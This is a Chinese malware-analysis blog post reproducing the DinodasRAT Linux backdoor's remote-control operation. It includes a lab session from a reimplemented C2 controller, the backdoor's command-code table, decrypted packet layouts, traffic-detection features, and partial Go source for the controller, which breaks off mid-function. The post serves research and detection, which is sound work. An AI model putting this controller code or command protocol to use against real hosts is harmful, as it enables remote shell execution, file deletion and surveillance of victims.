以中国为目标的DinodasRAT Linux后门攻击场景复现

文章首发地址:
https://xz.aliyun.com/t/14424
文章首发作者:
T0daySeeker

概述

在上一篇《以中国为目标的DinodasRAT Linux后门剖析及通信解密尝试》文章中,笔者对DinodasRAT Linux后门的功能及通信数据包进行了简单剖析,实现了对DinodasRAT Linux后门心跳数据包的解密尝试。

虽然目前可对DinodasRAT Linux后门的通信数据包进行解密,但笔者认为目前对DinodasRAT Linux后门的了解还不是很充分。

因此,为了能够更进一步的对DinodasRAT Linux后门的攻击活动进行剖析,笔者准备从如下几个角度复现DinodasRAT Linux后门的攻击场景及攻击利用过程中的DinodasRAT Linux后门的通信模型:

  • 后门攻击场景复现:基于模拟构建的DinodasRAT Linux后门控制端程序,复现DinodasRAT Linux后门的远控攻击场景;
  • 关键代码分析:梳理分析DinodasRAT Linux后门通信模型相关的关键代码;
  • 后门通信模型剖析:梳理DinodasRAT Linux后门各远控指令的通信模型;
  • 模拟构建DinodasRAT Linux后门控制端:通过模拟构建DinodasRAT Linux后门控制端程序以实现与DinodasRAT Linux后门的交互效果;

后门攻击场景复现

为了能够更好的还原DinodasRAT Linux后门的攻击利用场景,笔者尝试模拟构建了一款DinodasRAT Linux后门控制端程序,目前可有效的与DinodasRAT Linux后门进行交互,相关运行效果如下:

以中国为目标的DinodasRAT Linux后门攻击场景复现

相关通信数据包截图如下:

以中国为目标的DinodasRAT Linux后门攻击场景复现

以中国为目标的DinodasRAT Linux后门攻击场景复现

相关操作流程如下:

  • 被控端执行UninstallMm指令(卸载自身)前运行情况

以中国为目标的DinodasRAT Linux后门攻击场景复现

  • 被控端执行UninstallMm指令(卸载自身)后运行情况

以中国为目标的DinodasRAT Linux后门攻击场景复现

  • 控制端
F:GolandProjectsawesomeProject5>awesomeProject5.exe
Server started. Listening on 0.0.0.0:80
请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>help
********支持功能如下********
DirClass:查看目录
DelDir:删除目录
EnumProcess:查看进程
DealExShell:执行shell命令
UninstallMm:卸载自身
**************************
请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>DealExShell
DealExShell指令-请输入需执行的shell命令:
>ifconfig
*******************DealExShell:ifconfig*******************
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.153.133  netmask 255.255.255.0  broadcast 192.168.153.255
        inet6 fe80::51d9:b9bf:4800:15b1  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:7a:63:b6  txqueuelen 1000  (Ethernet)
        RX packets 117418  bytes 10766685 (10.2 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 127228  bytes 56957898 (54.3 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 4  bytes 240 (240.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4  bytes 240 (240.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>DirClass
DirClass指令-请输入需查看的目录路径:
>/tmp/
*******************DirClass:/tmp/*******************
.X0-lock        1       11      2023-07-20 21:07:38     2
.XIM-unix       0       0       2023-07-20 21:07:37     2
systemd-private-07e721d8e32643438b178572cb153efe-colord.service-Oil9iv  0       0       2023-07-20 21:08:35     2
vmware-root_484-868851811       0       0       2023-07-20 21:07:38     2
.font-unix      0       0       2023-07-20 21:07:37     2
.xfsm-ICE-V8T571        1       398     2023-07-20 21:08:33     2
ssh-XXXXXXVA2uMv        0       0       2023-07-20 21:08:33     2
systemd-private-07e721d8e32643438b178572cb153efe-systemd-logind.service-3sTMOv  0       0       2023-07-20 21:07:38     2
systemd-private-07e721d8e32643438b178572cb153efe-haveged.service-hyFQUI 0       0       2023-07-20 21:07:37     2
systemd-private-07e721d8e32643438b178572cb153efe-upower.service-OpfV78  0       0       2023-07-20 21:08:34     2
.X11-unix       0       0       2024-05-06 02:04:10     2
systemd-private-07e721d8e32643438b178572cb153efe-ModemManager.service-r0SmEk    0       0       2023-07-20 21:07:38     2
VMwareDnD       0       0       2024-04-29 21:59:26     2
.ICE-unix       0       0       2023-07-20 21:08:33     2

请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>EnumProcess
*******************EnumProcess:*******************
systemd         root    1
kthreadd                root    2
rcu_gp          root    3
rcu_par_gp              root    4
slub_flushwq            root    5
netns           root    6
kworker/0:0H-events_highpri             root    8
mm_percpu_wq            root    10
rcu_tasks_kthread               root    11
rcu_tasks_rude_kthread          root    12
rcu_tasks_trace_kthread         root    13
ksoftirqd/0             root    14
rcu_preempt             root    15
migration/0             root    16
cpuhp/0         root    18
cpuhp/1         root    19
migration/1             root    20
ksoftirqd/1             root    21
cpuhp/2         root    24
migration/2             root    25
ksoftirqd/2             root    26
kworker/2:0H-events_highpri             root    28
cpuhp/3         root    29
migration/3             root    30
ksoftirqd/3             root    31
kworker/3:0H-events_highpri             root    33
kdevtmpfs               root    38
inet_frag_wq            root    39
kauditd         root    40
khungtaskd              root    42
oom_reaper              root    43
writeback               root    44
kcompactd0              root    45
ksmd            root    46
khugepaged              root    47
kintegrityd             root    48
kblockd         root    49
blkcg_punt_bio          root    50
tpm_dev_wq              root    51
edac-poller             root    52
devfreq_wq              root    53
kworker/0:1H-kblockd            root    54
kswapd0         root    55
kthrotld                root    64
irq/24-pciehp           root    66
irq/25-pciehp           root    67
irq/26-pciehp           root    68
irq/27-pciehp           root    69
irq/28-pciehp           root    70
irq/29-pciehp           root    71
irq/30-pciehp           root    72
irq/31-pciehp           root    73
irq/32-pciehp           root    74
irq/33-pciehp           root    75
irq/34-pciehp           root    76
irq/35-pciehp           root    77
irq/36-pciehp           root    78
irq/37-pciehp           root    79
irq/38-pciehp           root    80
irq/39-pciehp           root    81
irq/40-pciehp           root    82
irq/41-pciehp           root    83
irq/42-pciehp           root    84
irq/43-pciehp           root    85
irq/44-pciehp           root    86
irq/45-pciehp           root    87
irq/46-pciehp           root    88
irq/47-pciehp           root    89
irq/48-pciehp           root    90
irq/49-pciehp           root    91
irq/50-pciehp           root    92
irq/51-pciehp           root    93
irq/52-pciehp           root    94
irq/53-pciehp           root    95
irq/54-pciehp           root    96
irq/55-pciehp           root    97
acpi_thermal_pm         root    98
xenbus_probe            root    99
mld             root    100
ipv6_addrconf           root    101
kstrp           root    106
zswap-shrink            root    111
kworker/u65:0-hci0              root    112
kworker/1:1H-kblockd            root    160
kworker/2:1H-kblockd            root    171
kworker/3:1H-kblockd            root    172
cryptd          root    181
ata_sff         root    182
scsi_eh_0               root    183
scsi_tmf_0              root    184
mpt_poll_0              root    185
scsi_eh_1               root    187
mpt/0           root    188
scsi_tmf_1              root    189
irq/16-vmwgfx           root    204
card0-crtc0             root    206
card0-crtc1             root    207
card0-crtc2             root    208
card0-crtc3             root    209
card0-crtc4             root    210
card0-crtc5             root    212
card0-crtc6             root    214
card0-crtc7             root    215
scsi_eh_2               root    268
scsi_tmf_2              root    269
kworker/1:2H-kblockd            root    278
jbd2/sda1-8             root    309
ext4-rsv-conver         root    310
systemd-journal         root    364
vmware-vmblock-         root    381
systemd-udevd           root    390
haveged         root    462
vmtoolsd                root    484
irq/56-vmw_vmci         root    588
irq/57-vmw_vmci         root    590
kworker/u65:2-hci0              root    668
dbus-daemon             message+        811
polkitd         polkitd 814
systemd-logind          root    816
rpciod          root    817
xprtiod         root    818
NetworkManager          root    819
cron            root    835
ModemManager            root    838
lightdm         root    858
Xorg            root    872
agetty          root    873
rtkit-daemon            rtkit   997
lightdm         root    1461
systemd /usr/lib/systemd/systemd        kali    1467
(sd-pam)                kali    1468
pipewire        /usr/bin/pipewire       kali    1483
wireplumber     /usr/bin/wireplumber    kali    1484
pipewire-pulse  /usr/bin/pipewire       kali    1485
dbus-daemon     /usr/bin/dbus-daemon    kali    1487
gnome-keyring-d /usr/bin/gnome-keyring-daemon   kali    1488
xfce4-session   /usr/bin/xfce4-session  kali    1498
ssh-agent               kali    1567
at-spi-bus-laun /usr/libexec/at-spi-bus-launcher        kali    1578
dbus-daemon     /usr/bin/dbus-daemon    kali    1585
at-spi2-registr /usr/libexec/at-spi2-registryd  kali    1596
gpg-agent               kali    1608
xfwm4   /usr/bin/xfwm4  kali    1610
gvfsd   /usr/libexec/gvfsd      kali    1614
gvfsd-fuse      /usr/libexec/gvfsd-fuse kali    1620
xfsettingsd     /usr/bin/xfsettingsd    kali    1635
upowerd         root    1639
xfce4-panel     /usr/bin/xfce4-panel    kali    1645
Thunar  /usr/bin/thunar kali    1650
xfdesktop       /usr/bin/xfdesktop      kali    1661
panel-1-whisker /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1665
panel-13-cpugra /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1670
xiccd   /usr/bin/xiccd  kali    1671
panel-14-systra /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1672
panel-15-genmon /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1676
xfce4-notifyd   /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd   kali    1678
panel-16-pulsea /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1686
colord          colord  1698
panel-17-notifi /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1701
nm-applet       /usr/bin/nm-applet      kali    1703
xcape   /usr/bin/xcape  kali    1708
panel-18-power- /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1711
light-locker    /usr/bin/light-locker   kali    1716
panel-22-action /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1722
dconf-service   /usr/libexec/dconf-service      kali    1725
polkit-gnome-au /usr/lib/policykit-1-gnome/polkit-gnome-authentication-agent-1  kali    1727
xfce4-power-man /usr/bin/xfce4-power-manager    kali    1752
agent   /usr/libexec/geoclue-2.0/demos/agent    kali    1755
blueman-applet  /usr/bin/python3.11     kali    1782
vmtoolsd        /usr/bin/vmtoolsd       kali    1783
obexd   /usr/libexec/bluetooth/obexd    kali    2006
gvfs-udisks2-vo /usr/libexec/gvfs-udisks2-volume-monitor        kali    2019
udisksd         root    2023
gvfs-mtp-volume /usr/libexec/gvfs-mtp-volume-monitor    kali    2038
gvfs-afc-volume /usr/libexec/gvfs-afc-volume-monitor    kali    2043
gvfs-gphoto2-vo /usr/libexec/gvfs-gphoto2-volume-monitor        kali    2049
gvfs-goa-volume /usr/libexec/gvfs-goa-volume-monitor    kali    2054
gvfsd-trash     /usr/libexec/gvfsd-trash        kali    2068
gvfsd-metadata  /usr/libexec/gvfsd-metadata     kali    2074
qterminal       /usr/bin/qterminal      kali    2211
zsh     /usr/bin/zsh    kali    2214
linux_server64  /home/kali/Desktop/linux_server64       kali    6586
zsh     /usr/bin/zsh    kali    6611
kworker/3:2-mm_percpu_wq                root    666030
kworker/2:0-events              root    671000
kworker/1:1-mm_percpu_wq                root    676828
kworker/0:0-cgroup_destroy              root    687692
kworker/u64:0-flush-8:0         root    693826
kworker/2:1-mm_percpu_wq                root    696046
kworker/2:2-mpt_poll_0          root    698531
kworker/1:2-ata_sff             root    699316
kworker/u64:2-flush-8:0         root    699787
kworker/0:2-events              root    699926
kworker/u64:3-events_unbound            root    699928
kworker/3:0-cgroup_destroy              root    699936
tumblerd        /usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd    kali    700635
kworker/1:0-ata_sff             root    702014
test    /home/kali/Desktop/test kali    702951
sh      /usr/bin/dash   kali    702959
test    /home/kali/Desktop/test kali    702960

请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>UninstallMm
*******************UninstallMm:*******************
UninstallMm ok

F:GolandProjectsawesomeProject5>

关键代码分析

通信框架

在《以中国为目标的DinodasRAT Linux后门剖析及通信解密尝试》文章的“DinodasRAT通信解密尝试”章节,笔者对DinodasRAT Linux后门的通信加解密原理进行了详细的剖析,因此,这里笔者将不再对DinodasRAT Linux后门中的通信加解密技术进行描述。

为了能够快速了解DinodasRAT Linux后门的通信逻辑,笔者又对DinodasRAT Linux后门的反编译代码进行了详细的分析梳理,发现:

  • DinodasRAT Linux后门运行后,将循环发送心跳通信
  • DinodasRAT Linux后门运行后,将从控制端循环接收控制指令,成功执行远控指令后,将返回执行结果信息

相关代码截图如下:

以中国为目标的DinodasRAT Linux后门攻击场景复现

DinodasRAT Linux后门通信数据接收函数代码截图如下:

以中国为目标的DinodasRAT Linux后门攻击场景复现

DinodasRAT Linux后门通信数据发送函数代码截图如下:

以中国为目标的DinodasRAT Linux后门攻击场景复现

以中国为目标的DinodasRAT Linux后门攻击场景复现

以中国为目标的DinodasRAT Linux后门攻击场景复现

远控功能与远控指令编号的对应关系梳理如下:

远控函数 远控功能 远控编号
DirClass 列目录 0x02
DelDir 删除目录 0x03
UpLoadFile 上传文件 0x05
StopDownLoadFile 停止上传文件 0x06
DownLoadFile 下载文件 0x08
StopDownFile 停止下载文件 0x09
DealChgIp 修改C&C地址 0x0E
CheckUserLogin 检查已登录的用户 0x0F
EnumProcess 枚举进程列表 0x11
StopProcess 终止进程 0x12
EnumService 枚举服务 0x13
ControlService 控制服务 0x14
DealExShell 执行shell 0x18
DealProxy 执行指定文件 0x1A
StartShell 开启shell 0x1B
ReRestartShell 重启shell 0x1C
StopShell 停止当前shell的执行 0x1D
WriteShell 将命令写入当前shell 0x1E
DealFile 下载并更新后门版本 0x27
DealLocalProxy 发送“ok” 0x28
ConnectCtl 控制连接类型 0x2B
ProxyCtl 控制代理类型 0x2C
Trans_mode 设置或获取文件传输模式(TCP/UDP) 0x2D
UninstallMm 卸载自身 0x2E

DirClass

通过分析,发现当接收到DirClass远控指令后,样本将返回指定目录的目录信息,返回数据中的远控指令为0x2。

相关代码截图如下:

以中国为目标的DinodasRAT Linux后门攻击场景复现

以中国为目标的DinodasRAT Linux后门攻击场景复现

DelDir

通过分析,发现当接收到DelDir远控指令后,样本将删除指定目录并向控制端返回数据,返回数据中的远控指令为0x4。

相关代码截图如下:

以中国为目标的DinodasRAT Linux后门攻击场景复现

以中国为目标的DinodasRAT Linux后门攻击场景复现

EnumProcess

通过分析,发现当接收到EnumProcess远控指令后,样本将向控制端返回当前进程列表信息,返回数据中的远控指令为0x11。

相关代码截图如下:

以中国为目标的DinodasRAT Linux后门攻击场景复现

DealExShell

通过分析,发现当接收到DealExShell远控指令后,样本将向控制端返回shell命令执行结果,返回数据中的远控指令为0x18。

相关代码截图如下:

以中国为目标的DinodasRAT Linux后门攻击场景复现

以中国为目标的DinodasRAT Linux后门攻击场景复现

UninstallMm

通过分析,发现当接收到UninstallMm远控指令后,样本将向控制端返回数据并卸载自身,返回数据中的远控指令为0x2E。

相关代码截图如下:

以中国为目标的DinodasRAT Linux后门攻击场景复现

以中国为目标的DinodasRAT Linux后门攻击场景复现

后门通信模型剖析

通信模型剖析

梳理DinodasRAT Linux后门通信模型如下:

  • 发送数据-通信数据结构
#原始数据
20000000e703881435b674f7de23a2f80fe35ac0ba1a46c7d96e08a8747889eacf6b1950

#
载荷数据
e703881435b674f7de23a2f80fe35ac0ba1a46c7d96e08a8747889eacf6b1950

#
数据解密
1800000000080000006966636f6e666967

#
数据解析
1800000000   #DealExShell功能对应的远控指令
08000000   #载荷长度
6966636f6e666967 #字符串:ifconfig

以中国为目标的DinodasRAT Linux后门攻击场景复现

  • 接收数据-通信数据结构
#原始数据
30d00300009fd628ad6b4807862e7a90d3e8b0a5d2acfe380effd0635de272ba038f1d564aa5967dbba8bb47ee236c5c6aaeb9f4efa90b3f6b9d117e85836451aac71fa557026eb1c35802aa5c0e2e4c7eb910978662bee1fdd45fc10451b9c37d44850224eb7c23e7b8ada1594503440f39f691bb475ffd8dfa3c3d8ca08ef81fdb7ee6b083e5c86302d531b857e4c3500a2273cb6559773ee8642b7162d2ded5f785a0bc3c0f5a0f9ce39d6e09cf0d4211d9fe2011e6471c38baf2ce60a9869a07cc9154bf71f71bdd1d33385d8d67f8dffcfe079f161e869bacc1fc2d861be882d2fbca24ac8426bfb8a86f1909a726c9c4b8950ebfe25c17be402b2a8662e651ffa3b05d5d697de194f0f7611c7ad19a6e809a87218929f912dcf3c9b9c751d8120bdc50fe0a1694aba0e67a4d4842df2a0c7d6ff3c584358804e1a9db3485ed2ca8e96eb00117a25e12a3061a0b8d235f6010119a004c0d1c037ac7a4eb432410c3e061698f4542184b224fb6cd4efd0ffd006d54eeb23e99d12e55fa0537e664283c8a7a0bd5493ba509c7ecd63cf23aaa68499eddacb1fd1fe01ef7ab06a54940b1f31c57b0b982ed491835a06bf0accb8b1ff07e348af1a9de0d3b2ac1ffd835b7edf9b071a0a4e0bbdad7ee7469863ec1c4cee0c3ae50e6d53a1704a2f642251d29eb60c4d5b488803eb63ac6b6c14da408be9e6eb84f0648049a51906103e232e307fd7b25e121e3d5bfb3c68cc5a40b9fae85058aedf3e00f37bfc1ed10034dc84cd196ed09386aa7cb68babcaf3b1916501d5bbc6c1e6922971f4a29afb6c8aa45c3a1361ca7e4b8e396bb373b4f9868f893bd01106492c25d0e1655dc57819d071670a4ee9cec179c97b516f3ec412fa1bc98d3093cdf1cb966be07b76d4dd55f351ee88f8d7e0f9b4be11180cb8bd4323d4005b86f63658f19266fc43428b52551095815277d136d9bd1a656bf9a10bfd9f934cfe8920223ac0f57e2991ec072ea76b3080dcbaa3f7845617709872c7236668387d500ced91f81d8d3cbc2b20fdc27ea6775021e7382236d7395c687114a093cead0173fcf092cec821bf8b9e7a0caf82a0bc0eb76950fab63c18c9dc2cecb445d57483ecc5e512ed1da6dc0ea540d8ced99ef00bdeb8cdd0be855fda439f90e23f2ab3b0cf06662714f32ed761a50a292a94b45e0f287783f699c88f24584bb0dca3abb7e4f9d9e91e6b22aa652cdccc7a9789f40afafa4bafa44967b06064804add6ab7652434d9b1c7549063bd09cf48c18061ef3e6b3d3c05b4bc5ca4da74bfadae78e4efd837b82556e792af3e9d7183525326c349953ab95585c66bf1e1074559f9c939ff33217dd350069bdf87606a10fb4046d6d95db34

#
载荷数据
9fd628ad6b4807862e7a90d3e8b0a5d2acfe380effd0635de272ba038f1d564aa5967dbba8bb47ee236c5c6aaeb9f4efa90b3f6b9d117e85836451aac71fa557026eb1c35802aa5c0e2e4c7eb910978662bee1fdd45fc10451b9c37d44850224eb7c23e7b8ada1594503440f39f691bb475ffd8dfa3c3d8ca08ef81fdb7ee6b083e5c86302d531b857e4c3500a2273cb6559773ee8642b7162d2ded5f785a0bc3c0f5a0f9ce39d6e09cf0d4211d9fe2011e6471c38baf2ce60a9869a07cc9154bf71f71bdd1d33385d8d67f8dffcfe079f161e869bacc1fc2d861be882d2fbca24ac8426bfb8a86f1909a726c9c4b8950ebfe25c17be402b2a8662e651ffa3b05d5d697de194f0f7611c7ad19a6e809a87218929f912dcf3c9b9c751d8120bdc50fe0a1694aba0e67a4d4842df2a0c7d6ff3c584358804e1a9db3485ed2ca8e96eb00117a25e12a3061a0b8d235f6010119a004c0d1c037ac7a4eb432410c3e061698f4542184b224fb6cd4efd0ffd006d54eeb23e99d12e55fa0537e664283c8a7a0bd5493ba509c7ecd63cf23aaa68499eddacb1fd1fe01ef7ab06a54940b1f31c57b0b982ed491835a06bf0accb8b1ff07e348af1a9de0d3b2ac1ffd835b7edf9b071a0a4e0bbdad7ee7469863ec1c4cee0c3ae50e6d53a1704a2f642251d29eb60c4d5b488803eb63ac6b6c14da408be9e6eb84f0648049a51906103e232e307fd7b25e121e3d5bfb3c68cc5a40b9fae85058aedf3e00f37bfc1ed10034dc84cd196ed09386aa7cb68babcaf3b1916501d5bbc6c1e6922971f4a29afb6c8aa45c3a1361ca7e4b8e396bb373b4f9868f893bd01106492c25d0e1655dc57819d071670a4ee9cec179c97b516f3ec412fa1bc98d3093cdf1cb966be07b76d4dd55f351ee88f8d7e0f9b4be11180cb8bd4323d4005b86f63658f19266fc43428b52551095815277d136d9bd1a656bf9a10bfd9f934cfe8920223ac0f57e2991ec072ea76b3080dcbaa3f7845617709872c7236668387d500ced91f81d8d3cbc2b20fdc27ea6775021e7382236d7395c687114a093cead0173fcf092cec821bf8b9e7a0caf82a0bc0eb76950fab63c18c9dc2cecb445d57483ecc5e512ed1da6dc0ea540d8ced99ef00bdeb8cdd0be855fda439f90e23f2ab3b0cf06662714f32ed761a50a292a94b45e0f287783f699c88f24584bb0dca3abb7e4f9d9e91e6b22aa652cdccc7a9789f40afafa4bafa44967b06064804add6ab7652434d9b1c7549063bd09cf48c18061ef3e6b3d3c05b4bc5ca4da74bfadae78e4efd837b82556e792af3e9d7183525326c349953ab95585c66bf1e1074559f9c939ff33217dd350069bdf87606a10fb4046d6d95db34

#
数据解密
57ffffffffffffff4aec1800000000370000007b0300004c696e75785f32303234303530355f30346662373038313830326634326638336134323434383732343063623237375f343533325f5637657468303a20666c6167733d343136333c55502c42524f4144434153542c52554e4e494e472c4d554c5449434153543e20206d747520313530300a2020202020202020696e6574203139322e3136382e3135332e31333320206e65746d61736b203235352e3235352e3235352e30202062726f616463617374203139322e3136382e3135332e3235350a2020202020202020696e65743620666538303a3a353164393a623962663a343830303a3135623120207072656669786c656e203634202073636f7065696420307832303c6c696e6b3e0a202020202020202065746865722030303a30633a32393a37613a36333a62362020747871756575656c656e203130303020202845746865726e6574290a20202020202020205258207061636b6574732031313732333320206279746573203130373531353733202831302e32204d6942290a20202020202020205258206572726f72732030202064726f70706564203020206f76657272756e73203020206672616d6520300a20202020202020205458207061636b6574732031323730303120206279746573203536393331343134202835342e32204d6942290a20202020202020205458206572726f72732030202064726f707065642030206f76657272756e73203020206361727269657220302020636f6c6c6973696f6e7320300a0a6c6f3a20666c6167733d37333c55502c4c4f4f504241434b2c52554e4e494e473e20206d74752036353533360a2020202020202020696e6574203132372e302e302e3120206e65746d61736b203235352e302e302e300a2020202020202020696e657436203a3a3120207072656669786c656e20313238202073636f7065696420307831303c686f73743e0a20202020202020206c6f6f702020747871756575656c656e20313030302020284c6f63616c204c6f6f706261636b290a20202020202020205258207061636b6574732034202062797465732032343020283234302e302042290a20202020202020205258206572726f72732030202064726f70706564203020206f76657272756e73203020206672616d6520300a20202020202020205458207061636b6574732034202062797465732032343020283234302e302042290a20202020202020205458206572726f72732030202064726f707065642030206f76657272756e73203020206361727269657220302020636f6c6c6973696f6e7320300a0a00000000000000

#
数据解析
57    #用于计算随机字节长度,2 + 0x57&0x7 = 9
ffffffffffffff4aec #padding,9个随机字节数据
1800000000  #DealExShell功能对应的远控指令
37000000  #第一段载荷数据长度,固定不变,用于填充被控主机的唯一标识码
7b030000  #第二段载荷数据长度,用于填充远控指令返回信息
4c696e75785f32303234303530355f30346662373038313830326634326638336134323434383732343063623237375f343533325f5637
#字符串:Linux_20240505_04fb7081802f42f83a424487240cb277_4532_V7
657468303a20666c6167733d343136333c55502c42524f4144434153542c52554e4e494e472c4d554c5449434153543e20206d747520313530300a2020202020202020696e6574203139322e3136382e3135332e31333320206e65746d61736b203235352e3235352e3235352e30202062726f616463617374203139322e3136382e3135332e3235350a2020202020202020696e65743620666538303a3a353164393a623962663a343830303a3135623120207072656669786c656e203634202073636f7065696420307832303c6c696e6b3e0a202020202020202065746865722030303a30633a32393a37613a36333a62362020747871756575656c656e203130303020202845746865726e6574290a20202020202020205258207061636b6574732031313732333320206279746573203130373531353733202831302e32204d6942290a20202020202020205258206572726f72732030202064726f70706564203020206f76657272756e73203020206672616d6520300a20202020202020205458207061636b6574732031323730303120206279746573203536393331343134202835342e32204d6942290a20202020202020205458206572726f72732030202064726f707065642030206f76657272756e73203020206361727269657220302020636f6c6c6973696f6e7320300a0a6c6f3a20666c6167733d37333c55502c4c4f4f504241434b2c52554e4e494e473e20206d74752036353533360a2020202020202020696e6574203132372e302e302e3120206e65746d61736b203235352e302e302e300a2020202020202020696e657436203a3a3120207072656669786c656e20313238202073636f7065696420307831303c686f73743e0a20202020202020206c6f6f702020747871756575656c656e20313030302020284c6f63616c204c6f6f706261636b290a20202020202020205258207061636b6574732034202062797465732032343020283234302e302042290a20202020202020205258206572726f72732030202064726f70706564203020206f76657272756e73203020206672616d6520300a20202020202020205458207061636b6574732034202062797465732032343020283234302e302042290a20202020202020205458206572726f72732030202064726f707065642030206f76657272756e73203020206361727269657220302020636f6c6c6973696f6e7320300a0a00000000000000
#字符串:
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.153.133  netmask 255.255.255.0  broadcast 192.168.153.255
        inet6 fe80::51d9:b9bf:4800:15b1  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:7a:63:b6  txqueuelen 1000  (Ethernet)
        RX packets 117233  bytes 10751573 (10.2 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 127001  bytes 56931414 (54.2 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 4  bytes 240 (240.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4  bytes 240 (240.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

以中国为目标的DinodasRAT Linux后门攻击场景复现

  • 心跳通信-通信数据结构
#原始数据
3078000000c7c338a7d4639d4beef26f76764f604d2a126b3ae06a8d2da8b0e78a154df6c996f06d0cffbd341be6fa4ce0c72b9c185ea9c2e48ecc4d239c33585a3d598442f069dffa971841eadd5144084626b95de5f3ef937a77bed91e7c6161fb94ea8240ea939d04b0ee32eda9ddd917e9393aaca0c7ecb483d069

#
载荷数据
c7c338a7d4639d4beef26f76764f604d2a126b3ae06a8d2da8b0e78a154df6c996f06d0cffbd341be6fa4ce0c72b9c185ea9c2e48ecc4d239c33585a3d598442f069dffa971841eadd5144084626b95de5f3ef937a77bed91e7c6161fb94ea8240ea939d04b0ee32eda9ddd917e9393aaca0c7ecb483d069

#
数据解密
e7b3b3b3b3b3b3b34bd4010000000037000000230000004c696e75785f32303234303530355f30346662373038313830326634326638336134323434383732343063623237375f343533325f56374b616c6920474e552f4c696e757820526f6c6c696e672009363409726f6f740932093500000000000000

#
数据解析
e7b3b3b3b3b3b3b34bd4 #2 + 0xe7&0x7 = 9个随机字节数据
0100000000 #指令编号
37000000 #第一段载荷数据长度,固定不变,用于填充被控主机的唯一标识码
23000000 #第二段载荷数据长度,用于填充远控指令返回信息
4c696e75785f32303234303530355f30346662373038313830326634326638336134323434383732343063623237375f343533325f5637
#字符串:Linux_20240505_04fb7081802f42f83a424487240cb277_4532_V7
4b616c6920474e552f4c696e757820526f6c6c696e672009363409726f6f7409320935
#字符串:Kali GNU/Linux Rolling  64 root 2 5
00000000000000

以中国为目标的DinodasRAT Linux后门攻击场景复现

通信流量检测方法

结合通信模型提取通信流量检测方法,检测特征如下:

  • 第一段数据包即为心跳通信数据包,且后续发送的心跳通信数据包的长度与其相同
  • 心跳通信数据包的数据结构为:一字节固定数据0x30 + 4字节后续载荷长度(小端序存储) + 载荷数据
  • 远控指令通信数据包的数据结构为:4字节后续载荷长度(小端序存储) + 载荷数据
  • 使用内置密钥即可实现对DinodasRAT Linux后门的通信数据解密

以中国为目标的DinodasRAT Linux后门攻击场景复现

模拟构建DinodasRAT Linux后门控制端

在详细梳理了DinodasRAT Linux后门的通信模型后,模拟构建DinodasRAT Linux后门控制端也就相对比较简单,因为其相关远控指令的通信数据模型均相同,因此我们在成功实现一个远控指令功能后,可很快速的对其他远控指令的远控功能进行实现。

「备注:当前模拟构建的DinodasRAT Linux后门控制端暂只支持DirClass、DelDir、EnumProcess、DealExShell、UninstallMm远控指令」

代码实现

以中国为目标的DinodasRAT Linux后门攻击场景复现

  • main.go
package main

import (
 "awesomeProject5/common"
 "bufio"
 "bytes"
 "encoding/hex"
 "fmt"
 "net"
 "os"
)

func main() {
 client_dinodasrat("0.0.0.0""80")
}

func client_dinodasrat(address, port string) {
 // 创建监听器
 listener, err := net.Listen("tcp", address+":"+port)
 if err != nil {
  fmt.Println("Error listening:", err.Error())
  return
 }
 defer listener.Close()

 fmt.Println("Server started. Listening on " + address + ":" + port)

 for {
  conn, err := listener.Accept()
  if err != nil {
   fmt.Println("Error accepting connection:", err.Error())
   return
  }
  // 处理服务端连接
  go handle_dinodasrat_Connection(conn)
 }
}

func handle_dinodasrat_Connection(conn net.Conn) {
 defer conn.Close()

 encdata := make(chan []byte)
 go KeepHeart_Recv(conn, encdata)

 for {
  text := ""
  fmt.Print("请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMmn>")
  reader := bufio.NewScanner(os.Stdin)
  if reader.Scan() {
   text = reader.Text()
   if text == "DirClass" {
    fmt.Print(text + "指令-请输入需查看的目录路径:n>")
    reader2 := bufio.NewScanner(os.Stdin)
    if reader2.Scan() {
     buf_DirClass := reader2.Text()
     sendbuf := []byte{}
     sendbuf = append(sendbuf, common.IntToBytes_little(2)...)
     sendbuf = append(sendbuf, byte(0))
     sendbuf = append(sendbuf, common.IntToBytes_little(len(buf_DirClass))...)
     sendbuf = append(sendbuf, []byte(buf_DirClass)...)
     common.Sendbuf(conn, sendbuf)
     EncData := <-encdata
